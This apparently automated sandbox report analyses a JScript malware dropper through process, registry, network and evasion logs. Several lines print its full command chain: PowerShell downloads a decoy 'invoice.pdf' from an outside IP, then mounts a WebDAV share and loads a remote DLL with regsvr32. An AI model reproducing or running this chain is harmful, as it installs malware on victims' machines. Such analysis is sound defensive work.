Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\299.js.csv");ITextStream.WriteLine(" entry:8525 f:hdcbppeh");ITextStream.WriteLine(" exec:2 f:hdcbppeh");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49732

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4711			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5176			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5544	Thread sleep count: 4711 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5544	Thread sleep count: 5176 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1720	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4048	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7120	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7212	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000002.1770178770.000001F64A6F6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: net.exe, 00000006.00000003.1816730896.000001E6A3B02000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1821783643.000001E6A3B02000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1821358137.000001E6A3A98000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3064229022.0000023C1802B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3065438946.0000023C1D659000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

